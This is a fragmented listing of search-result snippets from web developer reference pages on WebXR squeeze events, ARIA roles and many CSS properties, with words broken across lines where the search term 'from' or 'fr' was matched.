frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { myhandlesqueezewithray(targetraypose.transform); } } }); you can of course also set up a handler for squeeze events by setting the xrsession object's onsqueeze event handler property to a function that handles the event: xrsession.onsqueeze = event => { if (event.input...
...source.targetraymode == "tracked-pointer") { let targetraypose = event.
frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { myhandlesqueezewithray(targetraypose.transform); } } }; specifications specification status comment webxr device apithe definition of 'squeeze event' in that specification.
XRSession: squeezeend event - Web APIs
this places the object into its new position in the world and triggers any effects that may arise
from doing so (like scheduling an animation of a splash if dropped in water, etc).
... xrsession.addeventlistener("squeezestart", onsqueezeevent); xrsession.addeventlistener("squeeze", onsqueezeevent); xrsession.addeventlistener("squeezeend", onsqueezeevent); function onsqueezeevent(event) { let source = event.inputsource; let targetobj = null; if (source.targetraymode != "tracked-pointer") { return; } let targetraypose = event.
frame.getpose(source.targetrayspace, myrefspace); if (!targetraypose) { return; } switch(event.type) { case "squeezestart": targetobj = mybegintracking(targetraypose.matrix); break; case "squeeze": mydropobject(targetobj, targetraypose.matrix); break; case "squeezeend": mystoptracking(targetobj, targetraypose.matrix); break; } } you can ...
XRSession: squeezestart event - Web APIs
this places the object into its new position in the world and triggers any effects that may arise
from doing so (like scheduling an animation of a splash if dropped in water, etc).
... xrsession.addeventlistener("squeezestart", onsqueezeevent); xrsession.addeventlistener("squeeze", onsqueezeevent); xrsession.addeventlistener("squeezeend", onsqueezeevent); function onsqueezeevent(event) { let source = event.inputsource; let targetobj = null; if (source.targetraymode != "tracked-pointer") { return; } let targetraypose = event.
frame.getpose(source.targetrayspace, myrefspace); if (!targetraypose) { return; } switch(event.type) { case "squeezestart": targetobj = mybegintracking(targetraypose.matrix); break; case "squeeze": mydropobject(targetobj, targetraypose.matrix); break; case "squeezeend": mystoptracking(targetobj, targetraypose.matrix); break; } } you can ...
XRSessionEvent - Web APIs
properties in addition to properties inherited
from its parent interface, event, xrsessionevent provides the folllowing: session read only the xrsession to which the event refers.
... methods while xrsessionevent defines no methods, it inherits methods
from its parent interface, event.
XRSessionInit - Web APIs
at this time, all features are identified using strings
from the xrreferencespacetype enumeration, but future updates to the webxr standard may add more features.
...these values currently must come
from the enumerated type xrreferencespacetype.
XRSystem - Web APIs
properties while xrsystem directly offers no properties, it does inherit properties
from its parent interface, eventtarget.
... methods in addition to inheriting methods
from its parent interface, eventtarget, the xrsystem interface includes the following methods: issessionsupported() returns a promise which resolves to true if the browser supports the given xrsessionmode.
XRViewport.x - Web APIs
the read-only xrviewport interface's x property indicates the offset
from the left edge of the destination surface (typically a xrwebgllayer to the left edge of the viewport within the surface into which webxr content is to be rendered.
... syntax x = xrviewport.x; value the offset
from the left edge of the rendering surface to the left edge of the viewport, in pixels.
XRViewport.y - Web APIs
the read-only xrviewport interface's y property indicates the offset
from the bottom edge of the destination surface (typically a xrwebgllayer to the bottom edge of the viewport within the surface into which webxr content is to be rendered.
... syntax y = xrviewport.y; value the offset
from the bottom edge of the rendering surface to the bottom edge of the viewport, in pixels.
XRWebGLLayerInit.antialias - Web APIs
usage notes the state of anti-aliasing for the context after being created can be read
from the xrwebgllayer property antialias.
... example in this example, before creating a new xrwebgllayer to use for rendering, the value of a user preference
from a configuration interface is obtained using a function called getpreferencevalue() to determine whether the user has enabled or disabled anti-aliasing support; this is passed into the constructor.
XRWebGLLayerInit.ignoreDepthValues - Web APIs
this property differs
from depth in that depth requests a webgl layer that does not have a depth buffer at all, while ignoredepthvalues merely asks that the depth layer be ignored.
...each entry in the depth buffer corresponds to the depth of the
fragment whose color is at the same location in the color buffer, and must have a value between 0.0 and 1.0, where 0.0 corresponds to the distance specified in the xrsession object's renderstate record's depthnear and 1.0 represents the distance given by depthfar.
XRWebGLLayerInit.stencil - Web APIs
the stencil buffer is an optional buffer which, just like the depth buffer, contains one entry for every pixel in the
frame buffer.
...you can store values into each entry in the stencil bufer, then specify an operation that determines which stencil buffer values correspond to pixels which should be drawn to the screen during each
frame.
msthumbnailclick - Web APIs
syntax event property object.onmsthumbnailclick = handler; addeventlistener method object.addeventlistener("msthumbnailclick", handler, usecapture) general info synchronous no bubbles no cancelable no note the onmsthumbnailclick event is available only to documents that are launched
from a pinned site shortcut.
...cked button: " + evt.buttonid); } document.addeventlistener('msthumbnailclick', thumbnailclickhandler); example 2 // adds an overlay icon on your app pinned to the taskbar window.external.mssitemodeseticonoverlay(iconuri, tooltip); // removes an overlay icon window.external.mssitemodecleariconoverlay(); // pinned icons on your taskbar can be instructed to trigger specific events on your site
from the taskbar // add an event handlerdocument.addeventlistener('msthumbnailclick', onbuttonclicked, false); // add the buttons var btnplay = window.external.mssitemodeaddthumbbarbutton(iconuri, tooltip); // re
fresh the taskbar window.external.mssitemodeshowthumbbar(); // call a javascript function when the button is pressed function onbuttonclicked(e) { switch (e.buttonid) { case btnpl...
ARIA Screen Reader Implementors Guide - Accessibility
politeness (aria-live or
from role) takes first precedence,: items should be added to the queue based on their politeness level
from the aria-live property or inherited
from the role (e.g.
...assertive items clear any polite items
from the queue.
Using the presentation role - Accessibility
the presentation role is used to remove semantic meaning
from an element and any of its related child elements.
... for example, a table used for layout purposes could have the presentation role applied to the table element to remove any semantic meaning
from the table element and any of its table related children elements, such as table headers and table data elements.
ARIA: timer role - Accessibility
the timer role indicates to assistive technologies that an element is a numerical counter listing the amount of elapsed time
from a starting point or the remaining time until an end point.
...for instance, when the clock changes
from "17:33" to "17:34", assistive technologies will only announce "4", which won't be very useful to users.
ARIA: Complementary role - Accessibility
these sections are
frequently presented as sidebars or call-out boxes.
...content listed within a container with the complementary landmark role should make sense if separated
from the main content of the document.
ARIA: grid role - Accessibility
ion> <thead role="rowgroup"> <tr role="row"> <td></td> <th role="columnheader" aria-label="sunday">s</th> <th role="columnheader" aria-label="monday">m</th> <th role="columnheader" aria-label="tuesday">t</th> <th role="columnheader" aria-label="wednesday">w</th> <th role="columnheader" aria-label="thursday">t</th> <th role="columnheader" aria-label="
friday">f</th> <th role="columnheader" aria-label="saturday">s</th> </tr> </thead> <tbody role="rowgroup"> <tr role="row"> <th scope="row" role="rowheader">week 35</th> <td>26</td> <td>27</td> <td>28</td> <td>29</td> <td>30</td> <td>31</td> <td role="gridcell" tabindex="-1">1</td> </tr> <tr role="row"> <th scope="row"...
...ion> <thead role="rowgroup"> <tr role="row"> <td></td> <th role="columnheader" aria-label="sunday">s</th> <th role="columnheader" aria-label="monday">m</th> <th role="columnheader" aria-label="tuesday">t</th> <th role="columnheader" aria-label="wednesday">w</th> <th role="columnheader" aria-label="thursday">t</th> <th role="columnheader" aria-label="
friday">f</th> <th role="columnheader" aria-label="saturday">s</th> </tr> </thead> <tbody role="rowgroup"> <tr role="row"> <th scope="row" role="rowheader">week 35</th> <td>26</td> <td>27</td> <td>28</td> <td>29</td> <td>30</td> <td>31</td> <td role="gridcell" tabindex="-1">1</td> </tr> <tr role="row"> <th scope="row"...
ARIA: Suggestion role - Accessibility
this is the job of role="suggestion", which should be set on an element wrapping both of them like so: <p>
freida’s pet is a <span role="suggestion"> <span role="deletion">black cat called luna</span> <span role="insertion">purple tyrannosaurus rex called tiny</span> </span>.
... </p> we could even provide an information box saying who made the suggestion and when, and associate it with the suggestion via aria-details: <p>
freida’s pet is a <span role="suggestion" aria-details="comment-source"> <span role="deletion">black cat called luna</span> <span role="insertion">purple tyrannosaurus rex called tiny</span> </span>.
Basic form hints - Accessibility
wai-aria, the accessible rich internet applications specification
from the w3c's web accessibility initiative, provides the aria-labelledby attribute for these cases.
...assistive technologies (ats) cannot necessarily infer this information
from the presentation.
ARIA - Accessibility
see also the classic aria intro by gez lemon,
from 2008.
... videos of screen readers using aria see both real and simplified examples
from around the web, including "before" and "after" aria videos.
-moz-image-rect - CSS: Cascading Style Sheets
syntax -moz-image-rect(<uri>, top, right, bottom, left); values <url> the uri of the image
from which to take the sub-image.
...by simply copying the values of the background-image property
from one element to the next with each mouse click, we achieve the desired effect.
-moz-image-region - CSS: Cascading Style Sheets
for certain xul elements and pseudo-elements that use an image
from the list-style-image property, this property specifies a region of the image that is used in place of the whole image.
...it will not work with xul <image src="url" />.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax <shape> | autowhere <shape> = rect(<top>, <right>, <bottom>, <left>) examples clipping an image #example-button { /* display only the 4x4 area
from the top left of this image */ list-style-image: url("chrome://example/skin/example.png"); -moz-image-region: rect(0px, 4px, 4px, 0px); } #example-button:hover { /* use the 4x4 area to the right of the first for the hovered button */ -moz-image-region: rect(0px, 8px, 4px, 4px); } specifications not part of any standard.
-webkit-overflow-scrolling - CSS: Cascading Style Sheets
syntax values auto use "regular" scrolling, where the content immediately ceases to scroll when you remove your finger
from the touchscreen.
... touch use momentum-based scrolling, where the content continues to scroll for a while after finishing the scroll gesture and removing your finger
from the touchscreen.
:-moz-locale-dir(ltr) - CSS: Cascading Style Sheets
(this can vary
from window to window, and even
from tab to tab.) it also allows extensions to work even when they don't support the user's default locale, since they can support both left-to-right and right-to-left layouts regardless of locale specifics.
... this selector does not work properly
from html; it always matches, regardless of whether the ui locale is left-to-right or right-to-left.
:-moz-locale-dir(rtl) - CSS: Cascading Style Sheets
(this can vary
from window to window, and even
from tab to tab.) it also allows extensions to work even when they don't support the user's default locale, since they can support both left-to-right and right-to-left layouts regardless of locale specifics.
... this selector does not work properly
from html; it never matches, no matter whether the ui locale is left-to-right or right-to-left.
::backdrop - CSS: Cascading Style Sheets
when multiple elements have been placed into full-screen mode, the backdrop is drawn immediately beneath the
frontmost such element, and on top of the older full-screen elements.
... ::backdrop neither inherits
from nor is inherited by any other elements.
::before (:before) - CSS: Cascading Style Sheets
syntax /* css3 syntax */ ::before /* css2 syntax */ :before note: css3 introduced the ::before notation (with two colons) to distinguish pseudo-classes
from pseudo-elements.
... html <ol> <li>crack eggs into bowl</li> <li>add milk</li> <li>add flour</li> <li aria-current='step'>mix thoroughly into a smooth batter</li> <li>pour a ladleful of batter onto a hot, greased, flat
frying pan</li> <li>
fry until the top of the pancake loses its gloss</li> <li>flip it over and
fry for a couple more minutes</li> <li>serve with your favorite topping</li> </ol> css li { padding:0.5em; } li[aria-current='step'] { font-weight:bold; } li[aria-current='step']::after { content: " \21e6"; /* hexadecimal for unicode leftwards white arrow*/ display: inline; } result ...
:defined - CSS: Cascading Style Sheets
/* selects any defined element */ :defined { font-style: italic; } /* selects any instance of a specific custom element */ simple-custom:defined { display: block; } syntax :defined examples hiding elements until they are defined the following snippets are taken
from our defined-pseudo-class demo (see it live also).
... living standard browser compatibility the compatibility table on this page is generated
from structured data.
:lang() - CSS: Cascading Style Sheets
/* selects any <p> in english (en) */ p:lang(en) { quotes: '\201c' '\201d' '\2018' '\2019'; } note: in html, the language is determined by a combination of the lang attribute, the <meta> element, and possibly by information
from the protocol (such as http headers).
... html <div lang="en"><q>this english quote has a <q>nested</q> quote inside.</q></div> <div lang="
fr"><q>this
french quote has a <q>nested</q> quote inside.</q></div> <div lang="de"><q>this german quote has a <q>nested</q> quote inside.</q></div> css :lang(en) > q { quotes: '\201c' '\201d' '\2018' '\2019'; } :lang(
fr) > q { quotes: '« ' ' »'; } :lang(de) > q { quotes: '»' '«' '\2039' '\203a'; } result specifications specification status comment selectors ...
:nth-child() - CSS: Cascading Style Sheets
functional notation <an+b> represents elements in a list whose indices match those found in a custom pattern of numbers, defined by an+b, where: a is an integer step size, b is an integer offset, n is all positive integers, starting
from 0.
...the first one to be returned as a result of the formula is 0 [=5x0], resulting in a no-match, since the elements are indexed
from 1, whereas n starts
from 0.
@charset - CSS: Cascading Style Sheets
recommendation initial definition browser compatibility the compatibility table on this page is generated
from structured data.
...2firefox full support 1.5notes full support 1.5notes notes firefox 1 supported an invalid syntax where the character encoding is not between single or double quotes.ie full support 5.5notes full support 5.5notes notes
from internet explorer 5.5 to ie 7 (inclusive), internet explorer supported an invalid syntax where the character encoding is not between single or double quotes.opera full support 9safari full support 4webview android full support 2chrome android ful...
pad - CSS: Cascading Style Sheets
a common usage of the pad descriptor is when you need your list to start numbering
from 01 and go through 02, 03 and so on, instead of just 1, 2, 3...
..., <color-stop-list> )<conic-gradient()> = conic-gradient( [
from <angle> ]?
prefix - CSS: Cascading Style Sheets
, <color-stop-list> )<conic-gradient()> = conic-gradient( [
from <angle> ]?
...ength> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples adding a prefix to a counter html <ul class="index"> <li>the boy who lived</li> <li>the vanishing glass</li> <li>the letters
from no one</li> <li>the keeper of the keys</li> <li>diagon alley</li> </ul> css @counter-style chapters { system: numeric; symbols: "0" "1" "2" "3" "4" "5" "6" "7" "8" "9"; prefix: 'chapter '; } .index { list-style: chapters; padding-left: 15ch; } result specifications specification status comment css counter styles level 3the definition of 'prefix'...
range - CSS: Cascading Style Sheets
if value is auto, then for cyclic, numeric, and fixed system, the range will be
from negative infinity to positive infinity.
... for alphabetic and symbolic systems, range will be
from 1 to positive infinity.
symbols - CSS: Cascading Style Sheets
this must be one of the following data types: <string> <image> (note: this value is "at risk" and may be removed
from the specification.
..., <color-stop-list> )<conic-gradient()> = conic-gradient( [
from <angle> ]?
@font-face - CSS: Cascading Style Sheets
the @font-face css at-rule specifies a custom font with which to display text; the font can be loaded
from either a remote server or a locally-installed font on the user's own computer.
... unicode-range the range of unicode code points to be used
from the font.
display-mode - CSS: Cascading Style Sheets
you can use it to provide a consistent user experience between launching a site
from a url and launching it
from a desktop icon.
... syntax the display-mode feature is specified as a keyword value chosen
from the list below.
monochrome - CSS: Cascading Style Sheets
the monochrome css media feature can be used to test the number of bits per pixel in the monochrome
frame buffer of the output device.
... syntax the monochrome feature is specified as an <integer> representing the number of bits per pixel in the monochrome
frame buffer.
Border-image generator - CSS: Cascading Style Sheets
mg class="image" src="https://udn.realityripple.com/samples/fb/c0b285d3da.svg" data-stateid="border6"/> </div> </div> <div id="load-actions" class="group section"> <div id="toggle-gallery" data-action="hide"> </div> <div id="load-image" class="button"> upload image </div> <input id="remote-url" type="text" placeholder="load an image
from url"/> <div id="load-remote" class="button"> </div> </div> <div id="general-controls" class="group section"> <div class="name"> control box </div> <div class="separator"></div> <div class="property"> <div class="name">scale</div> <div class="ui-input-slider" data-topic="scale" da...
...init = function init() { makedraggable(preview); makedraggable(subject); var handle = document.createelement('div'); handle.classname = 'resize-handle'; handle.addeventlistener('mousedown', dragstart); document.addeventlistener('mouseup', dragend); preview.appendchild(handle); }; return { init: init }; }(); var imagereader = (function imagereader() { var
freader = new filereader(); var browse = document.createelement('input'); var loadimage = function loadimage(e) { if (browse.files.length === 0) return; var file = browse.files[0]; if (file.type.slice(0, 5) !== 'image') return;
freader.readasdataurl(file); return false; };
freader.onload = function(e) { imagecontrol.loadremoteimage(e.target.result); }; va...
Mastering margin collapsing - CSS: Cascading Style Sheets
no content separating parent and descendants if there is no border, padding, inline part, block formatting context created, or clearance to separate the margin-top of a block
from the margin-top of one or more of its descendant blocks; or no border, padding, inline content, height, min-height, or max-height to separate the margin-bottom of a block
from the margin-bottom of one or more of its descendant blocks, then those margins collapse.
... empty blocks if there is no border, padding, inline content, height, or min-height to separate a block's margin-top
from its margin-bottom, then its top and bottom margins collapse.
Basic Concepts of Multicol - CSS: Cascading Style Sheets
key concepts and terminology multicol is unlike any of the other layout methods we have in css in that it
fragments the content, including all descendent elements, into columns.
... this happens in the same way that content is
fragmented into pages when we work with css paged media, for example by creating a print stylesheet.
Spanning and Balancing Columns - CSS: Cascading Style Sheets
in
fragmented contexts such as paged media, only the last
fragment is balanced.
... there is a second value for balancing, balance-all, which attempts to balance all columns in
fragmented contexts and not just the columns on the final
fragment.
Using multi-column layouts - CSS: Cascading Style Sheets
people have trouble reading text if lines are too long; if it takes too long for the eyes to move
from the end of the one line to the beginning of the next, they lose track of which line they were on.
... in a multi-column block, content is automatically flowed
from one column into the next as needed.
CSS Containment - CSS: Cascading Style Sheets
the aim of the css containment specification is to improve performance of web pages by allowing developers to isolate a subtree of the page
from the rest of the page.
...it tells the browser that the internal layout of the element is totally separate
from the rest of the page, and that everything about the element is painted inside its bounds.
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
this set uses: fallbacks using 2009 'box' syntax (ff and older webkit) and prefixed syntaxes (ie10, webkit browsers without flex wrapping) final standards syntax (ff, safari, chrome, ie11+, edge, opera) this was inspired by: http://dev.opera.com/articles/view/advanced-cross-browser-flexbox/ with help
from: http://w3.org/tr/css3-flexbox/ http://the-echoplex.net/flexyboxes/ http://msdn.microsoft.com/en-us/library/ie/hh772069(v=vs.85).aspx http://css-tricks.com/using-flexbox/ a complete guide to flexbox | css-tricks visual guide to css3 flexbox: flexbox playground | note: mixins are not currently supported natively in browsers.
...typically, it helps to distribute extra
free space leftover when either all the flex items on a line are inflexible, or are flexible but have reached their maximum size.
Implementing image sprites in CSS - CSS: Cascading Style Sheets
rather than include each image as a separate image file, it is much more memory- and bandwidth-
friendly to send them as a single image; using background position as a way to distinguish between individual images in the same image file, so the number of http requests is reduced.
... note: when using http/2, it may in fact be more bandwidth-
friendly to use multiple small requests.
Browser compatibility and Scroll Snap - CSS: Cascading Style Sheets
i would suggest at this point you should implement the new specification only, unless you have data to show a large number of users who would benefit
from a fallback version.
...this is the reality of developing new css — it can't be developed in a vacuum away
from browser implementations.
Comments - CSS: Cascading Style Sheets
a css comment is used to add explanatory notes to the code or to prevent the browser
from interpreting specific parts of the style sheet.
...however, when using the <style> element, you may use <!-- --> to hide css
from older browsers, although this is not recommended.
Split Navigation - CSS: Cascading Style Sheets
a navigation pattern where one or more elements are separated
from the rest of the navigation items.
... requirements a common navigation pattern is to have one element pushed away
from the others.
Privacy and the :visited selector - CSS: Cascading Style Sheets
to mitigate this problem, browsers have limited the amount of information that can be obtained
from visited links.
... in rare scenarios, if you're using nested link elements and the element being matched is different
from the link whose presence in history is being tested, the element will be rendered as if the link were unvisited, as well.
Replaced elements - CSS: Cascading Style Sheets
some replaced elements, such as <i
frame> elements, may have stylesheets of their own, but they don't inherit the styles of the parent document.
... replaced elements typical replaced elements are: <i
frame> <video> <embed> <img> some elements are treated as replaced elements only in specific cases: <option> <audio> <canvas> <object> <applet> html spec also says that an <input> element can be replaced, because <input> elements of the "image" type are replaced elements similar to <img>.
CSS Tutorials - CSS: Cascading Style Sheets
css animations css3 animations allow you to define configurations of style, as key
frames, and to transition between them defining an animation.
... css gradients gradients are images that transition smoothly
from one color to another.
Value definition syntax - CSS: Cascading Style Sheets
they only differ
from the basic data types in the physical location of their definition.
...it describes bold, thin, <length>, <length> thin, or thin <length> but not bold <length> as only one entity
from each side of the | combinator can be present.
background - CSS: Cascading Style Sheets
ze of background image; size refers to the width for horizontal offsets and to the height for vertical offsetsbackground-size: relative to the background positioning areacomputed valueas each of the properties of the shorthand:background-image: as specified, but with <url> values made absolutebackground-position: a list, each item consisting of two keywords representing the origin and two offsets
from that origin, each given as an absolute length (if given a <length>), otherwise as a percentagebackground-size: as specified, but with relative lengths converted into absolute lengthsbackground-repeat: a list, each item consisting of two keywords, one per dimensionbackground-origin: as specifiedbackground-clip: as specifiedbackground-attachment: as specifiedbackground-color: computed coloranimat...
..., <color-stop-list> )<conic-gradient()> = conic-gradient( [
from <angle> ]?
<blend-mode> - CSS: Cascading Style Sheets
syntax the <blend-mode> data type is defined using a keyword value chosen
from the list below.
... <div id="div"></div> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: soft-light; } difference the final color is the result of subtracting the darker of the two colors
from the lighter one.
border-image - CSS: Cascading Style Sheets
ice */ border-image: linear-gradient(red, blue) 27; /* source | slice | repeat */ border-image: url("/images/border.png") 27 space; /* source | slice | width */ border-image: linear-gradient(red, blue) 27 / 35px; /* source | slice | width | outset | repeat */ border-image: url("/images/border.png") 27 23 / 50px 30px / 1rem round space; the border-image property may be specified with anywhere
from one to five of the values listed below.
... <'border-image-outset'> the distance of the border image
from the element's outside edge.
border-inline-end - CSS: Cascading Style Sheets
initial valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumborder-style: as each of the properties of the shorthand:border-top-style: noneborder-right-style: noneborder-bottom-style: noneborder-left-style: nonecolor: varies
from one browser to anotherapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-bottom-width: the absolute length or 0 if border-bottom-style is none or hiddenborder-left-width: the absolute length or 0 if border-left-style is none or hiddenborder-right-width: the absolute length or 0 if border-right...
... formal definition initial valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumborder-style: as each of the properties of the shorthand:border-top-style: noneborder-right-style: noneborder-bottom-style: noneborder-left-style: nonecolor: varies
from one browser to anotherapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-bottom-width: the absolute length or 0 if border-bottom-style is none or hiddenborder-left-width: the absolute length or 0 if border-left-style is none or hiddenborder-right-width: the absolute length or 0 if border-right...
border-left-style - CSS: Cascading Style Sheets
e: hidden; border-left-style: dotted; border-left-style: dashed; border-left-style: solid; border-left-style: double; border-left-style: groove; border-left-style: ridge; border-left-style: inset; border-left-style: outset; /* global values */ border-left-style: inherit; border-left-style: initial; border-left-style: unset; the border-left-style property is specified as a single keyword chosen
from those available for the border-style property.
... browser compatibility the compatibility table in this page is generated
from structured data.
border-right-style - CSS: Cascading Style Sheets
order-right-style: dotted; border-right-style: dashed; border-right-style: solid; border-right-style: double; border-right-style: groove; border-right-style: ridge; border-right-style: inset; border-right-style: outset; /* global values */ border-right-style: inherit; border-right-style: initial; border-right-style: unset; the border-right-style property is specified as a single keyword chosen
from those available for the border-style property.
... browser compatibility the compatibility table in this page is generated
from structured data.
bottom - CSS: Cascading Style Sheets
for relatively positioned elements, the distance of the element
from its normal position is based on the top property; or if top is also auto, the element is not moved vertically at all.
... inherit specifies that the value is the same as the computed value
from its parent element (which might not be its containing block).
box-align - CSS: Cascading Style Sheets
/* pack children to the bottom of this box */ box-pack: end; /* as specified */ -moz-box-pack: end; /* mozilla */ -webkit-box-pack: end; /* webkit */ } div.example > p { /* make children narrower than their parent, so there is room for the box-align */ width: 200px; } </style> </head> <body> <div class="example"> <p>i will be second
from the bottom of div.example, centered horizontally.</p> <p>i will be on the bottom of div.example, centered horizontally.</p> </div> </body> </html> specifications not part of any standard.
... browser compatibility the compatibility table on this page is generated
from structured data.
box-flex-group - CSS: Cascading Style Sheets
if the space of all flexible children within the group has been increased to the maximum, the process repeats for the children within the next flex group, using any space left over
from the previous flex group.
... if the box would overflow after the preferred space of the children has been computed, then space is removed
from flexible elements in a manner similar to that used when adding extra space.
clamp() - CSS: Cascading Style Sheets
the clamp() function can be used anywhere a <length>, <
frequency>, <angle>, <time>, <percentage>, <number>, or <integer> is allowed.
...suspendisse
fringilla egestas erat eu convallis.
clip - CSS: Cascading Style Sheets
the <top> and <bottom> values are offsets
from the inside top border edge of the box, while <right> and <left> are offsets
from the inside left border edge of the box — that is, the extent of the padding box.
...this is different
from rect(auto, auto, auto, auto), which clips to the element’s inside border edges.
Computed value - CSS: Cascading Style Sheets
the computed value of a css property is the value that is transferred
from parent to child during inheritance.
... it is calculated
from the specified value by: handling the special values inherit, initial, unset, and revert.
<display-box> - CSS: Cascading Style Sheets
due to a bug in browsers this will currently remove the element
from the accessibility tree — screen readers will not look at what's inside.
... accessibility concerns current implementations in most browsers will remove
from the accessibility tree any element with a display value of contents.
<easing-function> - CSS: Cascading Style Sheets
the linear class of easing functions linear the animation moves
from beginning to end at a constant rate.
...ption> <option>steps(4)</option> </select> </li> </ul> css body > div { position: relative; height: 100px; } div > div { position: absolute; width: 50px; height: 50px; background-color: blue; background-image: radial-gradient(circle at 10px 10px, rgba(25,255,255,0.8),rgba(25,255,255,0.4)); border-radius: 50%; top: 25px; animation: 1.5s infinite alternate; } @key
frames move-right {
from { left: 10%; } to { left: 90%; } } li { display: flex; align-items: center; justify-content: center; margin-bottom: 20px; } javascript const selectelem = document.queryselector('select'); const startbtn = document.queryselector('button'); const divelem = document.queryselector('div > div'); startbtn.addeventlistener('click', () => { if(startbtn...
filter - CSS: Cascading Style Sheets
if they have different lengths, the missing equivalent filter functions
from the longer list are added to the end of the shorter list using their lacuna values, then all filter functions are interpolated according to their specific rules.
... when a single filter property has two or more functions it's results will be different
from when two or more filter properties are separately applied with the same functions.
flex - CSS: Cascading Style Sheets
it shrinks to its minimum size to fit the container, but does not grow to absorb any extra
free space in the flex container.
... auto the item is sized according to its width and height properties, but grows to absorb any extra
free space in the flex container, and shrinks to its minimum size to fit the container.
font-family - CSS: Cascading Style Sheets
the font-family property specifies a list of fonts,
from highest priority to lowest.
... system-ui glyphs are taken
from the default user interface font on a given platform.
font-smooth - CSS: Cascading Style Sheets
switching
from subpixel rendering to antialiasing for light text on dark backgrounds makes it look lighter.
...switching
from subpixel rendering to antialiasing for light text on dark backgrounds makes it look lighter.
font-stretch - CSS: Cascading Style Sheets
the font-stretch css property selects a normal, condensed, or expanded face
from a font.
... you can use font-stretch to select a condensed or expanded face
from such fonts.
font-style - CSS: Cascading Style Sheets
the font-style css property sets whether a font should be styled with a normal, italic, or oblique face
from its font-family.
... syntax font-style: normal; font-style: italic; font-style: oblique; font-style: oblique 10deg; /* global values */ font-style: inherit; font-style: initial; font-style: unset; the font-style property is specified as a single keyword chosen
from the list of values below, which can optionally include an angle if the keyword is oblique.
font-variation-settings - CSS: Cascading Style Sheets
the <number> can be
fractional or negative, depending on the value range available in your font, as defined by the font designer.
...for example linux oses need the latest linux
freetype version, and macos prior to 10.13 does not support variable fonts.
<gradient> - CSS: Cascading Style Sheets
radial gradient radial gradients transition colors progressively
from a center point (origin).
...this prevents unexpected shades of gray
from appearing when both the color and the opacity are changing.
grid-template-areas - CSS: Cascading Style Sheets
those areas are not associated with any particular grid item, but can be referenced
from the grid-placement properties grid-row-start, grid-row-end, grid-column-start, grid-column-end, and their shorthands grid-row, grid-column, and grid-area.
...syntax none | <string>+ examples specifying named grid areas html <section id="page"> <header>header</header> <nav>navigation</nav> <main>main area</main> <footer>footer</footer> </section> css #page { display: grid; width: 100%; height: 250px; grid-template-areas: "head head" "nav main" "nav foot"; grid-template-rows: 50px 1
fr 30px; grid-template-columns: 150px 1
fr; } #page > header { grid-area: head; background-color: #8ca0ff; } #page > nav { grid-area: nav; background-color: #ffa08c; } #page > main { grid-area: main; background-color: #ffff64; } #page > footer { grid-area: foot; background-color: #8cffa0; } result specifications specification status comment css ...
initial - CSS: Cascading Style Sheets
candidate recommendation no changes
from level 3.
... browser compatibility the compatibility table on this page is generated
from structured data.
justify-content - CSS: Cascading Style Sheets
the alignment is done after the lengths and auto margins are applied, meaning that, if in a flexbox layout there is at least one flexible element, with flex-grow different
from 0, it will have no effect as there won't be any available space.
... syntax /* positional alignment */ justify-content: center; /* pack items around the center */ justify-content: start; /* pack items
from the start */ justify-content: end; /* pack items
from the end */ justify-content: flex-start; /* pack flex items
from the start */ justify-content: flex-end; /* pack flex items
from the end */ justify-content: left; /* pack items
from the left */ justify-content: right; /* pack items
from the right */ /* baseline alignment */ /* justify-content does not take baseline values */ /* normal alignment */ justify-content: normal; /* distributed alignment */ justify-content: space-between; /* distribute items evenly the first item is flush with the start, the l...
margin-right - CSS: Cascading Style Sheets
a positive value places it farther
from its neighbors, while a negative value places it closer.
... absolutely positioned layout mode flex, inline-flex any any 0, except if there is any positive horizontal
free space.
mask-border-outset - CSS: Cascading Style Sheets
the mask-border-outset css property specifies the distance by which an element's mask border is set out
from its border box.
...when it eventually starts to be supported, it will serve to move the mask away
from the inner edge of the element's border box — you can use it to make the mask start
from part way across the border, rather than the inside of it.
mask-repeat - CSS: Cascading Style Sheets
repeat repeat; mask-repeat: round space; mask-repeat: no-repeat round; /* multiple values */ mask-repeat: space round, no-repeat; mask-repeat: round repeat, space, repeat-x; /* global values */ mask-repeat: inherit; mask-repeat: initial; mask-repeat: unset; by default, the repeated images are clipped to the size of the element, but they can be scaled to fit (using round) or evenly distributed
from end to end (using space).
...ner("change", function (evt) { document.getelementbyid("masked").style.maskrepeat = evt.target.value; }); result multiple mask image support you can specify a different <repeat-style> for each mask image, separated by commas: .examplethree { mask-image: url('mask1.png'), url('mask2.png'); mask-repeat: repeat-x, repeat-y; } each image is matched with the corresponding repeat style,
from first specified to last.
max-block-size - CSS: Cascading Style Sheets
writing-mode affect the mapping of max-block-size to max-width or max-height as follows: values of writing-mode max-block-size is equivalent to horizontal-tb, lr , lr-tb , rl , rb , rb-rl max-height vertical-rl, vertical-lr, sideways-rl , sideways-lr , tb , tb-rl max-width the writing-mode values sideways-lr and sideways-rl were removed
from the css writing modes level 3 specification late in its design process.
... formal definition initial value0applies tosame as width and heightinheritednopercentagesblock-size of containing blockcomputed valuesame as max-width and max-heightanimation typea length, percentage or calc(); formal syntax <'max-width'> examples setting max-block-size with horizontal and vertical text in this example, the same text (the opening sentences
from herman melville's novel moby-dick) is presented in both the horizontal-tb and vertical-rl writing modes.
max-height - CSS: Cascading Style Sheets
it prevents the used value of the height property
from becoming larger than the value specified for max-height.
... browser compatibility the compatibility table on this page is generated
from structured data.
max-width - CSS: Cascading Style Sheets
it prevents the used value of the width property
from becoming larger than the value specified by max-width.
... browser compatibility the compatibility table on this page is generated
from structured data.
max() - CSS: Cascading Style Sheets
